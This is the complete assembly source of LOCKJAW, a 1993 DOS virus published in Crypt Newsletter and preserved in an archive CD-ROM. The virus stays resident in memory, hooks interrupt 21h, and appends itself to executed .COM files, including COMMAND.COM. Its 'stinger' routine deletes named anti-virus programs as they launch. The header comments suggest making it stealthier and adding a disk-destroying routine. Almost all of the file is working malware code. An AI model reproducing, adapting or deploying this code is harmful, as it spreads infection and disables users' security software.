HPAVC/HPAVC CD-ROM.iso/pc/CRYPT12.ZIP/LOCKJAW.ASM

Assembly Source File | 1993-01-29 | 17.4 KB | 562 lines

;LOCKJAW: a .COM-infecting resident virus with retaliatory
;anti-anti-virus capability.  Programmed and contributed by Nikademus, for
;Crypt Newsletter 12, Feb. 1993.
;
;LOCKJAW is a resident virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;
;LOCKJAW hooks interrupt 21 and infects .COM files on execution, appending
;itself to the end of the "host."
;LOCKJAW will infect COMMAND.COM and is fairly transparent to a
;casual user, except when certain anti-virus programs
;(Integrity Master, McAfee's SCAN &
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
;If LOCKJAW is present and any of these programs are employed from
;a write-protected diskette, the virus will, of course, generate
;"write protect" errors.
;
;LOCKJAW's "stinger" code demonstrates the simplicity of creating a strongly
;retaliating virus by quickly deleting the anti-virus program before it
;can execute and then displaying a "chomping" graphic.  Even if the anti-
;virus program cannot detect LOCKJAW in memory, it will be deleted.  This
;makes it essential that the user know how to either remove the virus from
;memory before beginning anti-virus measures, or at the least run the
;anti-virus component from a write-protected disk. At a time when retail
;anti-virus packages are becoming more complicated - and more likely that the
;average user will run them from default installations on his hard file -
;LOCKJAW's retaliating power makes it a potentially very annoying pest.
;A virus-programmer serious about inconveniencing a system could do a
;number of things with this basic idea. They are;
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
; instantly.
; 2. Alter the_stinger routine, so that the virus immediately attacks the
; hard file.  The implementation is demonstrated by LOKJAW-DREI, which
; merely makes the disk inaccessible until a warm reboot if an anti-virus
; program is employed against it.  By placing
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
; an unknowing user to employ anti-virus measures on a machine where
; LOCKJAW or a LOCKJAW-like program is memory resident.
;
;These anti-anti-virus strategies are becoming more numerous in viral
;programming.
;
;For example, Mark Ludwig programmed the features of a direct-action
;retaliating virus in his "Computer Virus Developments Quarterly."
;Peach, Groove and Encroacher viruses attack anti-virus software by
;deletion of files central
;to the functionality of the software.
;
;And in this issue, the Sandra virus employs a number
;of anti-anti-virus features.
;
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
;DREI infected files from a system, simply delete the "companion" .COM
;duplicates of your executables.  Ensure that the machine has been booted
;from a clean disk.  To remove the LOCKJAW .COM-appending virus, at this
;time it will be necessary for you to restore the contaminated files from
;a clean back-up.
;

        .radix 16
     code       segment
        model  small
        assume cs:code, ds:code, es:code

        org 100h

len             equ offset last - begin
vir_len         equ len / 16d

host:           db 0E9h, 03h, 00h, 43h, 44h, 00h     ; host dummy

begin:

        call virus            ; push i.p. onto the stack

virus:
        jmp after_note

note:
        db     '[lÖçk⌡äW].ߥ.ÑîkådëMû$'
        db     '┼Hï$.pΓÖGΓåm.î$.à.{pΓÖ┼ö-┼].√âΓïåñ┼'
        db     '┼håÑk$.┼ó.ÇΓÿ₧'

after_note:
        pop     bp                   ; recalculate change in offset
        sub     bp,109h

fix_victim:
        mov     di,0100h                 ; restore host's
        lea     si,ds:[vict_head+bp]     ;    !
        mov     cx,06h                   ;    !
        rep     movsb                    ; first 6 bytes
Is_I_runnin:
        mov     ax,2C2Ch
        int     21h                      ; call to see if installed
        cmp     ax, 0DCDh
        je      Bye_Bye
cut_hole:
        mov     ax,cs                    ; get memory control block
        dec     ax
        mov     ds,ax
        cmp     byte ptr ds:[0000],5a    ; check if last block -
        jne     abort
        mov     ax,ds:[0003]
        sub     ax,100                    ; decrease memory
        mov     ds:0003,ax
Zopy_virus:                                      ; copy to claimed block
        mov     bx,ax                    ; PSP
        mov     ax,es                    ; virus start
        add     ax,bx                    ; in memory
        mov     es,ax
        mov     cx,len                   ; cx = length of virus
        mov     ax,ds                    ; restore ds
        inc     ax
        mov     ds,ax
        lea     si,ds:[begin+bp]         ; point to start of virus
        lea     di,es:0100               ; point to destination
        rep     movsb                    ; start copying the virus

        mov     [vir_seg+bp],es
        mov     ax,cs
        mov     es,ax                    ; restore extra segment
Grab_21:
        cli
        mov     ax,3521h           ; request address of interrupt 21
        int     21h
        mov     ds,[vir_seg+bp]
        mov     ds:[old_21h-6h],bx
        mov     ds:[old_21h+2-6h],es
        mov     dx,offset Lockjaw - 6h    ; revector to virus
        mov     ax,2521h
        int     21h
        sti
abort:
        mov     ax,cs                      ; get the hell outa
        mov     ds,ax                      ; Dodge
        mov     es,ax
        xor     ax,ax

Bye_Bye:
        mov     bx,0100h                  ; hand off to host
        jmp     bx

Lockjaw:
        pushf                              ; is i checkin if
        cmp     ax,2c2ch                   ; resident
        jne     My_21h
        mov     ax,0dcdh
        popf
        iret

My_21h:
        push    ds
        push    es                         ; save all registers
        push    di
        push    si
        push    ax
        push    bx
        push    cx
        push    dx
check_exec:
        cmp     ax,04B00h                  ; is the file being
        jne     notforme                   ; executed?
        mov     cs:[name_seg-6],ds
        mov     cs:[name_off-6],dx
        jmp     chk_com                    ; start potential
                           ; infection
notforme:
        pop     dx                         ; exit
        pop     cx                         ; restore all registers
        pop     bx
        pop     ax
        pop     si
        pop     di
        pop     es
        pop     ds
        popf
        jmp     dword ptr cs:[old_21h-6]
int21:
        pushf
        call    dword ptr cs:[old_21h-6]      ; int 21h handler
        jc      notforme                      ; exit on error
        ret

chk_com:        cld                              ; this essentially copies
        mov     di,dx                    ; the name of the file
        push    ds                       ; and sets it up for
        pop     es                       ; comparison to the anti-
        mov     al,'.'                   ; virus defaults used in
        repne   scasb                    ; the_stinger
        call    the_stinger              ; anti-virus stinger
        cmp     ax, 00ffh                ; WAS the program an AV?
        je      notforme
        cmp     word ptr es:[di],'OC'    ; is it a .com ?
        jne     notforme                 ; compare against extension
        cmp     word ptr es:[di+2],'M'   ; masks in these two steps
        jne     notforme

        call    Grab_24                 ; set critical error handler
        call    set_attrib

open_victim:                                    ; open potential host
        mov     ds,cs:[name_seg-6]
        mov     dx,cs:[name_off-6]
        mov     ax,3D02h
        call    int21
        jc      close_file              ; leave on error
        push    cs
        pop     ds
        mov     [handle-6],ax           ; save handle
        mov     bx,ax

        call    get_date                ; save date/time characters

check_forme:
        push    cs
        pop     ds
        mov     bx,[handle-6]
        mov     ah,3fh
        mov     cx,06h                 ; copy first 6 bytes of host
        lea     dx,[vict_head-6]
        call    int21
        mov     al, byte ptr [vict_head-6]     ; is the prog a exe?
        mov     ah, byte ptr [vict_head-6]+1
        cmp     ax,[exe-6]                     ; compare with 'ZM'
        je      save_date                      ; jump to restore
        mov     al, byte ptr [vict_head-6]+3   ; is the prog already
        mov     ah, byte ptr [vict_head-6]+4   ; infected?
        cmp     ax,[initials-6]
        je      save_date


get_len:
        mov     ax,4200h
        call    move_pointer
        mov     ax,4202h
        call    move_pointer
        sub     ax,03h
        mov     [len_file-6],ax

        call    write_jmp             ; write the jump to the virus
        call    write_virus           ; at the head of the host
                          ; write the remainder of the
save_date:                                    ; virus to the end of the file
        push    cs
        pop     ds
        mov     bx,[handle-6]
        mov     dx,[date-6]
        mov     cx,[time-6]
        mov     ax,5701h
        call    int21

close_file:
        mov     bx,[handle-6]
        mov     ah,03eh
        call    int21
        mov     dx,cs:[old_24h-6]
        mov     ds,cs:[old_24h+2-6]
        mov     ax,2524h
        call    int21
        jmp     notforme
new_24h:
        mov     al,3
        iret
the_stinger:    ; detection of anti-virus against defaults
        cmp     word ptr es:[di-3],'MI'    ;Integrity Master
        je      jumptoass

        cmp     word ptr es:[di-3],'XR'    ;*rx = VIREX
        je      jumptoass

        cmp     word ptr es:[di-3],'PO'    ;*STOP = VIRSTOP
        jne     next1
        cmp     word ptr es:[di-5],'TS'
        je      jumptoass

next1:          cmp     word ptr es:[di-3],'VA'    ;AV  = cpav
        je      jumptoass                  ;Central Point
        cmp     word ptr es:[di-3],'TO'    ;*prot = F-prot
        jne     next2
        cmp     word ptr es:[di-5],'RP'
        je      jumptoass

next2:          cmp     word ptr es:[di-3],'NA'    ;*scan =  McAfee's Scan.
        jne     next3
        cmp     word ptr es:[di-5],'CS'
        je      jumptoass

        cmp     word ptr es:[di-3],'NA'    ;*lean = CLEAN.
        jne     next3                      ; why not, eh?
        cmp     word ptr es:[di-5],'EL'
        je      jumptoass
next3:          ret
jumptoass:
        jmp     Asshole_det                ;Asshole Program
                           ;Detected, delete
move_pointer:
        push    cs
        pop     ds
        mov     bx,[handle-6]
        xor     cx,cx
        xor     dx,dx
        call    int21
        ret

write_jmp:
        push    cs
        pop     ds
        mov     ax,4200h         ; move pointer to beginning of host
        call    move_pointer     ; do it, as in move_pointer
        mov     ah,40h           ; write
        mov     cx,01h           ; a byte
        lea     dx,[jump-6]      ; of the jump to LOCKJAW code
        call    int21            ; out to the host
        mov     ah,40h           ; reset the pointer
        mov     cx,02h
        lea     dx,[len_file-6]
        call    int21
        mov     ah,40h           ; write the virus's recognition
        mov     cx,02h           ; intials out to the host
        lea     dx,[initials-6]
        call    int21
        ret

write_virus:
        push    cs
        pop     ds
        mov     ax,4202h
        call    move_pointer   ; move the pointer to end of host
        mov     ah,40      ; write-to-file function
        mov     cx,len     ; length of virus in cx
        mov     dx,100
        call    int21
        ret

get_date:
        mov     ax,5700h           ; get date/time stamps oh host
        call    int21              ; stash them in buffers
        push    cs
        pop     ds
        mov     [date-6],dx        ;<-----
        mov     [time-6],cx        ;<-----
        ret

Grab_24:
        mov     ax,3524h              ; set up critical error handler
        call    int21
        mov     cs:[old_24h-6],bx
        mov     cs:[old_24h+2-6],es
        mov     dx,offset new_24h-6
        push    cs
        pop     ds
        mov     ax,2524h            ; revector error handler to virus
        call    int21
        ret

set_attrib:
        mov     ax,4300h             ; retrieve file attributes
        mov     ds,cs:[name_seg-6]
        mov     dx,cs:[name_off-6]
        call    int21
        and     cl,0feh
        mov     ax,4301h
        call    int21
        ret
Asshole_det:
        mov     ds,cs:[name_seg-6]           ; the anti-virus file
        mov     dx,cs:[name_off-6]
        mov     ax, 4301h                    ; clear attributes
        mov     cx, 00h
        call    int21
        mov     ah, 41h                      ; delete it
        call    int21
chomp:
        push    cs                           ; da chomper visual
        pop     ds
        mov     ah, 03h
        int     10h
        mov     [c1-6], bh                   ; save cursor
        mov     [c2-6], dh
        mov     [c3-6], dl
        mov     [c4-6], ch
        mov     [c5-6], cl
        mov     ah, 1
        mov     cl, 0
        mov     ch, 40h
        int     10h

        mov     cl, 0
        mov     dl, 4Fh
        mov     ah, 6
        mov     al, 0
        mov     bh, 0Fh
        mov     ch, 0
        mov     cl, 0
        mov     dh, 0
        mov     dl, 4Fh
        int     10h

        mov     ah, 2
        mov     dh, 0
        mov     dl, 1Fh
        mov     bh, 0
        int     10h

        mov     dx, offset eyes - 6          ; print the eyes
        mov     ah, 9
        mov     bl, 0Fh
        call    int21

        mov     ah, 2
        mov     dh, 1
        mov     dl, 0
        int     10h

        mov     ah, 9
        mov     al, 0DCh
        mov     bl, 0Fh
        mov     cx, 50h
        int     10h

        mov     ah, 2
        mov     dh, 18h
        mov     dl, 0
        int     10h

        mov     ah, 9
        mov     al, 0DFh
        mov     bl, 0Fh
        mov     cx, 50h
        int     10h

        mov     dl, 0
chomp_1:
        mov     ah, 2
        mov     dh, 2
        int     10h

        mov     ah, 9
        mov     al, 55h
        mov     bl, 0Fh
        mov     cx, 1
        int     10h

        mov     ah, 2
        mov     dh, 17h
        inc     dl
        int     10h

        mov     ah, 9
        mov     al, 0EFh
        mov     bl, 0Fh
        int     10h

        inc     dl
        cmp     dl, 50h
        jl      chomp_1
        mov     [data_1-6], 0
chomp_3:
        mov     cx, 7FFFh                    ; delays

locloop_4:
        loop    locloop_4

        inc     [data_1-6]
        cmp     [data_1-6], 0Ah
        jl      chomp_3
        mov     [data_1-6], 0
        mov     cl, 0
        mov     dl, 4Fh
chomp_5:
        mov     ah, 6
        mov     al, 1
        mov     bh, [data_2-6]
        mov     ch, 0Dh
        mov     dh, 18h
        int     10h

        mov     ah, 7
        mov     al, 1
        mov     bh, [data_2-6]
        mov     ch, 0
        mov     dh, 0Ch
        int     10h
        mov     cx, 3FFFh                      ; delays

locloop_6:
        loop    locloop_6
        inc     [data_1-6]
        cmp     [data_1-6], 0Bh
        jl      chomp_5
        mov     [data_1-6], 0
chomp_7:
        mov     cx, 7FFFh                       ; delays

locloop_8:
        loop    locloop_8
        inc     [data_1-6]
        cmp     [data_1-6], 0Ah
        jl      chomp_7
        mov     ah, 6
        mov     al, 0
        mov     bh, [data_2-6]
        mov     ch, 0
        mov     cl, 0
        mov     dh, 18h
        mov     dl, 4Fh
        int     10h

        mov     cl, 7
        mov     ch, 6
        int     10h

        mov     ah, 2
        mov     bh, [c1-6]
        mov     dh, [c2-6]
        mov     dl, [c3-6]
        int     10h
        mov     al, bh
        mov     ah, 5
        int     10h
        mov     ah, 1
        mov     ch, [c4-6]
        mov     cl, [c5-6]
        int     10h
        mov     ax, 0003h
        int     10h                        ; sort of a cls
        mov     ax, 00ffh
        ret


eyes            db      '(o)          (o)','$'      ; ASCII eyes
vict_head       db  090h, 0cdh, 020h, 043h, 044h, 00h  ; 6 bytes of host
jump            db  0E9h
initials        dw  4443h   ; I.D.
exe             dw  5A4Dh   ; ZM - ident for .EXE files
last            db  090h

data_1          db      0
data_2          db      0
old_21h         dw  00h,00h
old_24h         dw  00h,00h
old_10h         dw  00h,00h
name_seg        dw  ?
name_off        dw  ?
vir_seg         dw  ?
len_file        dw  ?
handle          dw  ?
date            dw  ?
time            dw  ?
c1              db       0
c2              db       0
c3              db       0
c4              db       0
c5              db       0

code            ends
        end host